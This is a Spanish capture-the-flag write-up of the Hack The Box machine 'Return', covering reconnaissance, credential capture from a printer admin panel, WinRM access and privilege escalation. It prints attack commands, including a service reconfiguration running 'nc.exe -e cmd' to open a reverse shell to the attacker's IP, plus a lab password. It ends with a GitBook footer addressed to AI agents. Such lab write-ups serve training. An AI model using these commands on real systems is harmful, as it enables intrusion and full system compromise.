> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/return.md).

# Return

<figure><img src="/files/8HbxCz8i5HB8XzXoz6PS" alt=""><figcaption></figcaption></figure>

Return es una caja de dificultad fácil basada en impresoras de la plataforma HackTheBox. Esta vez abusaremos del panel de administración web de una impresora para obtener las credenciales de SMB, que también se pueden usar para WinRM. La cuenta está en el grupo Server Operators, lo que le permite modificar, iniciar y detener servicios. Abusaré de esto para obtener un shell como System.&#x20;

### Reconocimiento

#### NMAP

Comenzamos enumerando los servicios abiertos que tiene la máquina.&#x20;

<figure><img src="/files/UGNsQTuyb12JJiMOyfBg" alt=""><figcaption></figcaption></figure>

```
sudo nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.11.108
```

<figure><img src="/files/klC0nClrxkntHDDN9vjO" alt=""><figcaption></figcaption></figure>

Una vez realizado un escaneo rápido de los servicios abiertos, volvemos a hacer otro escaneo más profundo de los servicios abiertos.

<figure><img src="/files/7FAPnE3RLGH3SWeSAhms" alt=""><figcaption></figcaption></figure>

```
sudo nmap -p80,88,389,593,636,3268,5985,9389,47001,49664,49666,49667,49671,49674,49675,49679,49682,49694 -sV -vv 10.10.11.108
```

<figure><img src="/files/MVfnZkLdkApdfoAmaIj0" alt=""><figcaption></figcaption></figure>

La conclusión principal es que se trata de una máquina con Windows que se encuentra dentro de un dominio de Active Directory .

Ya tenemos versiones de los servicios abiertos y el nombre de un dominio. Vamos a registrarlo en el archivo /etc/hosts.&#x20;

<figure><img src="/files/7742xPwZYEyaD9ebXetw" alt=""><figcaption></figcaption></figure>

#### RECONOCIMIENTO WEB

Tenemos abierto el puerto 80 que está ejecutando un servidor web Microsoft IIS, así que vamos a verificar su contenido.&#x20;

<figure><img src="/files/As9OHBW2CFqpslUsDMLq" alt=""><figcaption></figcaption></figure>

Los únicos enlaces que funcionan son las páginas de Inicio y Configuración. Vamos a la página de Configuración, a ver su contenido.

<figure><img src="/files/qhs0NBczdXAR8oaSCbjp" alt=""><figcaption></figcaption></figure>

Muestra lo que parece ser una página de configuración para una impresora. Nos dan un nombre de un usuario de svc-printer pero no su contraseña.&#x20;

La contraseña está codificada, pero tenemos la capacidad de cambiar la dirección del servidor. Vamos a capturar la contraseña dirigiendo la dirección del servidor a un oyente nc.&#x20;

<figure><img src="/files/P75FdiYNvTh4FzFS2gIC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rkbq1cd2Rh0idKkp5EoH" alt=""><figcaption></figcaption></figure>

Tenemos una contraseña 1edFg43012!!

#### ENUMERACIÓN SMB

Como tenemos nombre de usuario y contraseña, vamos a comprobar si tenemos acceso a SMB. Esto podemos comprobarlo con CrackMapExec.

```
crackmapexec smb 10.10.11.108 -u svc-printer -p '1edFg43012!!'
```

<figure><img src="/files/QQ8wd9TBBLtICGM9CyUG" alt=""><figcaption></figcaption></figure>

Vamos a comprobar también si tenemos acceso mediante WinRM.

<pre><code><strong>crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="/files/4vhJdKPnRUaBjpd5phDV" alt=""><figcaption></figcaption></figure>

También tenemos acceso mediante el protocolo WinRM. \*Necesario tener abierto el puerto 5985.

Vamos a acceder a la máquina objetivo aprovechando que está disponible el protocolo WinRM, y tenemos las credenciales.

### Acceso mediante usuario svc-printer

Vamos a utilizar Evil-WinRM para entablar una shell revresa utilizando las credenciales obtenidas y el protocolo WinRM.

```
evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
```

<figure><img src="/files/CXYibRHypPtuiP9eelb5" alt=""><figcaption></figcaption></figure>

Vamos a por la flag user.txt

<figure><img src="/files/WTpE0CvnCCixj2n4orGf" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Vamos a ver que privilegios tiene este usuario.

<figure><img src="/files/M8YzvXpR1477MsA93Nfe" alt=""><figcaption></figcaption></figure>

Comprobamos también a que grupos pertenece el usuario svc-printer.

<figure><img src="/files/tCm7NCHfOrkWF5PHyYkp" alt=""><figcaption></figcaption></figure>

Somos parte del grupo de Server Operators, lo que significa que tenemos control sobre los servicios que se ejecutan dentro de la máquina.

Este usuario puede modificar, iniciar y detener servicios. Si logramos editar un servicio y hacer que ejecute un netcat para nuestro oyente, obtendremos un shell como ntauthority\system.&#x20;

Así que vamos a empezar cargando el nc.exe en C:\Windows\Temp:&#x20;

<figure><img src="/files/qmYFBmoBf51AojkBG84b" alt=""><figcaption></figcaption></figure>

A continuación creamos el servicio que podemos detener e iniciar para ejecutarlo.

<figure><img src="/files/4kPmYny2ZrUVSp4gziGY" alt=""><figcaption></figcaption></figure>

<pre><code><strong>sc.exe config VMTools binpath="C:\Windows\Temp>nc.exe -e cmd 10.10.16.1 4444"
</strong></code></pre>

A continuación, vamos a detener y reiniciar el servicio.

<figure><img src="/files/5gObEe4MA9kPSan3IdK2" alt=""><figcaption></figcaption></figure>

Al mismo tiempo, pondremos a la escucha un oyente en el puerto 4444.

<figure><img src="/files/dBEQgITguDMXD2lZ5izI" alt=""><figcaption></figcaption></figure>

Próxima parada, buscar la flag root.txt

<figure><img src="/files/0kr1r26VZLtnHnCcqcHf" alt=""><figcaption></figcaption></figure>

\*Ojo al tiempo para buscar la flag root, el servicio se desconecta al par de minutos de iniciar.&#x20;

Esto sería todo. Tenemos resuelta la máquina CTF Return de Hack The Box.

{% embed url="<https://youtu.be/J6SMZMkGuZA>" %}

###


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/return.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
